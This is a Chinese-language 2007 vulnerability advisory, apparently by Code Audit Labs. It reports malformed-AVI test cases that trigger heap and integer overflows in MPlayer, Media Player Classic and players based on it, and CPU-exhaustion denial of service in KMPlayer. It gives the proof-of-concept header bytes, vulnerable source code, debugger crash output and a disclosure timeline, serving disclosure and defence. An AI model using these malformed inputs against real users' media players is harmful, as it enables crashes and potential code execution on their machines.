用AVI文件三个字段来测试各播放器的代码审计小报告

来源:安全焦点
作者:CodeAuditLabs (vulnhunt_at_gmail.com)

用AVI文件三个字段来测试各播放器的代码审计小报告
— CAL-20070912-1 多家厂家播放器处理AVI文件漏洞

摘要
====

安全的代码是很难编写的,不安全的代码是到处可见的.我们是代码审计实验室
(Code Audit Labs http://www.vulnhunt.com/),"安全您的代码,保护您的价值"。

我们用AVI文件三个字段测试了下主要的播放器,构造了五个测试用例,结果发现:

MPlayer有一个heap溢出漏洞,media player classic,影音风暴 mympc,StormPlayer
有三个heap溢出,这些漏洞可能导致用户在打开一个畸形的AVI文件的时候代码任意
执行,从而导致被人控制您的系统和机器,可能导致您电脑上重要数据破坏或者丢失。

KMPlayer有三个D.o.S ,触使cpu 100%

Original LINK:
==============
http://www.vulnhunt.com/advisories/CAL-20070912-1_Multiple_vendor_produce_handling_AVI_file_vulnerabilities_cn.txt

字段使用
========

该报告中,我们使用了AVI 文件头中的以下三个字段
1) indx_truck_size
2) wLongsPerEntry 每个入口的大小
3) nEntriesInuse 多少个入口

主流的媒体播放器
===============

我们选取了一些比较流行的媒体播放器
1: Windows Media Player (wmp)
2: MPlayer 1.0rc1 (svn 20070729)
3: KMPlayer v2.9.3.1210
4: media player classic v6.4.9.0 (mpc)
5: 影音风暴 mympc 1.0.0.1 (base on mpc)
6: StormPlayer 1.0.4 (base on mpc)
7: x影音 xplayer 2.3 (base on mpc and mplayer)

构造我们的test case
==================

test case 1 (new_avihead_poc1.avi)
===============================================
69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10

indx truck size 0xffffffff
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
===============================================

test case 2 (new_avihead_poc2.avi)
===============================================
69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF

indx truck size 0xffffff00
wLongsPerEntry 0xffff
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0xFFFFFFFF
===============================================

test case 3 (new_avihead_poc3.avi)
===============================================
69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
===============================================

test case 4 (new_avihead_poc4.avi)
===============================================
69 6E 64 78 00 FF 00 00 01 00 64 73 20 00 00 10

indx truck size 0x0000ff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
===============================================

test case 5 (new_avihead_poc5.avi)
===============================================
69 6E 64 78 00 FF 00 00 04 00 64 73 10 00 00 40

indx truck size 0x0000ff00
wLongsPerEntry 0x0004
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x40000010
===============================================

测试结果
========
+———+———–+———–+———–+———–+———-+
| 产品 | testcase1 | testcase2 | testcase3 | testcase4 |testcase5 |
+———+———–+———–+———–+———–+———-+
| wmp | ok | ok | ok | ok | ok |
+———+———–+———–+———–+———–+———-+
| mplayer | ok | ok | HO/CRASH | ok | ok |
+———+———–+———–+———–+———–+———-+
| mpc | HO | HO | HO | ok | ok |
+———+———–+———–+———–+———–+———-+
|KMPlayer | RAISE CPU | RAISE CPU | RAISE CPU | ok | ok |
+———+———–+———–+———–+———–+———-+
| mympc | HO | HO | HO | ok | ok |
+———+———–+———–+———–+———–+———-+
|StormPlay| HO | HO | HO | ok | ok |
+———+———–+———–+———–+———–+———-+
| xplayer | ok | ok | ok | ok | ok |
+———+———–+———–+———–+———–+———-+

说明:
HO 是 Heap Overflow的缩写
SO 是 Stack Overflow的缩写
BO 是 Buffer Overflow的缩写,是HO,SO的统称
CRASH是指crash掉应用程序
ok 是指测试没有问题
RAISE CUP是指使CPU高负荷,1000%。

这里值得一提的是,xplayer是基于mpc和mplayer的播放器,在他们上面有的漏洞
在xplayer上居然没有被触发。

简单漏洞分析
============

========================================
testcase3 for Mplayer 漏洞分析

从代码里我们可以看到

vulnerability code in libmpdemux/aviheader.c:

232 print_avisuperindex_chunk(s,MSGL_V);
233
234 if( ((chunksize/4)/s->wLongsPerEntry) < s->nEntriesInUse){
235 mp_msg (MSGT_HEADER, MSGL_WARN, "Broken super index chunk\n");
236 s->nEntriesInUse = (chunksize/4)/s->wLongsPerEntry;
237 }
238
239 // Check and fix this useless crap
240 if(s->wLongsPerEntry != sizeof (avisuperindex_entry)/4) {
241 mp_msg (MSGT_HEADER, MSGL_WARN, "Broken super index chunk size: %u\n",s->wLongsPerEntry);
242 s->wLongsPerEntry = sizeof(avisuperindex_entry)/4;
243 }
244 s->aIndex = calloc(s->nEntriesInUse, sizeof (avisuperindex_entry));
245 s->stdidx = calloc(s->nEntriesInUse, sizeof (avistdindex_chunk));
246
247 // now the real index of indices
248 for (i=0; i<s->nEntriesInUse; i++) {
249 chunksize-=16;

这个比较有趣,上面不正确的检查顺序,依然能使s->nEntriesInUse * sizeof (avisuperindex_entry)
导致一个32位整型的溢出,从而触发heap破坏。

上述代码可以提炼成一个简单的例子
calloc(0x10000001, 0x10);
上述这个calloc代码
1: 在winxp 或者 是glibc 2.5 上将返回NULL,这种情况下将形成一个空指针引用。
2: 在win2000 sp4 或者是 glibc < 2.5 (或者更前)上返回0x10大小的heap,这样情况下将导致heap腐烂。

0:000> g
(54c.284): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02a7e740 ebx=024eecb8 ecx=00000000 edx=01414930 esi=ffffff00 edi=ffffff00
eip=0053b084 esp=0022e5e0 ebp=0000b6d0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00200286
gmplayer+0x13b084:
0053b084 89741500 mov [ebp+edx],esi ss:0023:01420000=02cc1b9e
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0000b6d0 00000000 00000000 00000000 00000000 gmplayer+0x13b084

========================================
testcase1 for mpc 漏洞分析

(270.198): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=060fa8b0 ebx=060ff000 ecx=00000011 edx=00000000 esi=060fa86c edi=060ff000
eip=006b8a4a esp=05a3f1e8 ebp=05a3f1f0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\xx\桌面\mpc2kxp6490\mplayerc.exe
mplayerc+0x2b8a4a:
006b8a4a f3a5 rep movsd ds:060fa86c=73640001 es:060ff000=????????
0:003> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
05a3f1f0 005a02d6 060ff000 060fa86c 00000044 mplayerc+0x2b8a4a
00000000 00000000 00000000 00000000 00000000 mplayerc+0x1a02d6

========================================
testcase2 testcase3 for mpc 漏洞分析

VERIFIER STOP 00000004: pid 0x870: extreme size request

029B0000 : Heap handle
FFFFFF08 : Size requested
00000000 :
00000000 :

(870.a88): Break instruction exception – code 80000003 (first chance)
eax=00000000 ebx=ffffff08 ecx=7c93eb05 edx=05a3ea68 esi=00000004 edi=029b0000
eip=7c921230 esp=05a3ec9c ebp=05a3ecb0 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c921230 cc int 3

testcase2和testcase3情况一样,假设indx truck size 是 indx_truck_size,
代码就象下面那样:
buf =malloc(indx_truck_size+8)
将会触发整型溢出,从而导致heap腐烂。

DISCLOSURE TIMELINE:
====================
1: 2007-07-30 notice MPlayer vendor
2: 2007-07-31 the vendor reply
3: 2007-09-12 release this report

关于我们:
=========
代码审计实验室(Code Audit Labs)致力于自动化代码审计(包括源代码和二进制代码)
研究和开发,为提高软件安全测试的效率以及软件代码质量不懈努力.
Code Audit Labs信念: "您为客户创造价值,我们保护您创造的价值。"
http://www.VulnHunt.com

EOF

相关日志

发表评论